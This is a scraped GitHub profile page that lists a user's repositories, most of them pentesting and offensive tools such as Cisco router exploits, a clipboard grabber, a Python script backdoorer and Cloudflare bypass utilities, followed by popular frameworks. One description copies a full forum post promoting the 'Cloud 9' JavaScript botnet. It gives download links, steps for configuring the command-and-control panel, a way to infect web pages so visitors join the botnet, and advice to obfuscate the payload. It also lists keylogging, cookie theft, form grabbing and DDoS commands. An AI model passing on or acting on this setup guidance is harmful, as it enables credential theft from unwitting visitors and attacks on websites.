kamaal44 Goto Github PK
Name: ashkal aidid
Type: User
Name: ashkal aidid
Type: User
Crypt and decrypt the cisco enable 7 passwords
A low interaction honeypot for the Cisco ASA component capable of detecting CVE-2018-0101, a DoS and remote code execution vulnerability.
CVE-2019-1652 /CVE-2019-1653 Exploits For Dumping Cisco RV320 Configurations & Debugging Data AND Remote Root Exploit!
The leader in true open source email and collaboration
Collection of pentesting scripts
Drag and Drop ClickJacking exploit development assistance tool.
Contributor License Agreement assistant (CLA assistant)
Vulnerability Static Analysis for Containers
Docker based ClamAV® service provides an easy to deploy open source antivirus engine for detecting trojans, viruses, malware & other malicious threats.
A rule based custom proxy with GUI for Mac base on clash.
🔗 Command Line Apps Script Projects
A script written in Python to automate cryptocurrency earning bot on telegram.
An HTTP client for go-server-timing middleware. Enables automatic timing propagation through HTTP calls between servers.
Device information and digital fingerprinting written in pure JavaScript.
Check UNIX/Linux systems for privilege escalation
Python Command-line Application Tools
Grab target's clipboard content
Open source video sharing website script, Tune.pk clone, Youtube clone, dailymotion clone. PHP.
Cloak can backdoor any python script with some tricks.
CloakifyFactory - Data Exfiltration & Infiltration In Plain Sight; Convert any filetype into list of everyday strings, using Text-Based Steganography; Evade DLP/MLS Devices, Defeat Data Whitelisting Controls, Social Engineering of Analysts, Evade AV Detection
I have heavily updated the Cloud 9 JavaScript BotNet Old features: FTP flood Cookie stealing Keylogging Send POST requests Flood POST requests Evaluate JavaScript Code Silently load webpages Clickjacking (iframe follow mouse) New features: Layer 4 / Layer 7 hybrid attack (random min-max size POST flood) Formgrabber fixed (I think) Now has config file Now has bots online list OS detection added Panel is much more sleek You no longer get negative bots when bots repeatedly disconnect or some glitch happens RFI scanner added Added ability to send shellshock exploits You can now open pop-unders Non-DDoS commands run only once Many security updates to the panel The features are: Code Stealerz: cookie clipboard Money makerz: view*[url]* jack*[iframe]*[width]*[height]* popunder*[url]* DDoS Methodz: load*[target url]*[milliseconds between requests]* floodpost*[target url]*[params]*[milliseconds between requests]* glype*[target url]*[glype list url]*[milliseconds between requests]* antiddos*[target url]*[milliseconds between requests]* layer4*[target url]*[minSize-maxSize]*[milliseconds between requests]* Exploitz: exploit*[exe url]* rfiscanner*[target url]*[backdoor url]*[rfi vuln list url]* sendshellshock*[target url]*[command]* Misc: md5*[hash]*[brute length]*[brute alphabet]* sha1*[hash]*[brute length]*[brute alphabet]* post*[url]*[params]* eval*[javascript code]* Always running: Multi-Language Web Keylogger Form Grabber Here is the download link to the botnet (all updates will be here): http://robl0x.cf/cloud9-latest.zip Mirror (will also be updated): http://boatnet.us/Archive/Botnet%20Files...latest.zip Unzip the folder on you server Then edit campaign.js and set master to your servers IP Edit admin/panel4829.php and set a new username and password for the cnc panel One way of getting tons of browsers on your net use traffic exchange sites like hitleap.com or 10khits.com To FTP flood use this command: Code load*ftp://website.com:80/*0* That command will exhaust all of the connections on a webserver with only a few browsers All keylogs that are recorded are sent once the page is closed for stealth To infect a page simply put this html on it: http://pastebin.com/ZAvqJZD8 the first inject is reccommended but it only works if a <head> tag exists on the page. Then whoever visits the page will be on the botnet for as long as they are on the page. I suggest putting a movie on the page so people will stay on the botnet for longer. (Good for ddos attacks) For those of you who dont know the purposes of this botnet are: Website monitoring Ad clicks amd views Getting facebook likes (via clickjacking) Distributed hash cracking Distributed Denial of Service (DDoS) Data stealing IP grabbing Exploiting servers and many more! Here is a picture of an active Cloud 9 botnet with 23 clients (this was before OS detection was added) Spoiler (Click to View) Hope you all love the update! If you have any suggestions for new features send me a PM and I should reply in 1-3 days Here is how to set it up: Code You need to change the master variable in campaign.js to something like this: var master = "http://yoursiteorip"; Also change the connection key for security. var connectKey = "randomshithere"; Also be sure to edit config.php and change the connection key to the one in campaign.js Also in the config it is reccommended that you change the location of the log files and other file locations etc. Be sure to rename/move the files to the places you specified in the config. Once you are done those things obfuscate your campaign.js using this JavaScript obfuscator (or a different one) http://javascriptobfuscator.com/Javascript-Obfuscator.aspx That will protect your campaign.js from people figuring out what it is.
Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.
Utilize misconfigured DNS and old database records to find hidden IP's behind the CloudFlare network
Cloudflare DNS Enumeration Tool for Pentesters
python script to bypass cloudflare from command line. built upon cfscrape module.
CloudMapper helps you analyze your Amazon Web Services (AWS) environments.
Cloudflare real IP tracker.
This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers.
Cloud Security Posture Management (CSPM)
Reconnaissance Real IP address for Cloudflare Bypass
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.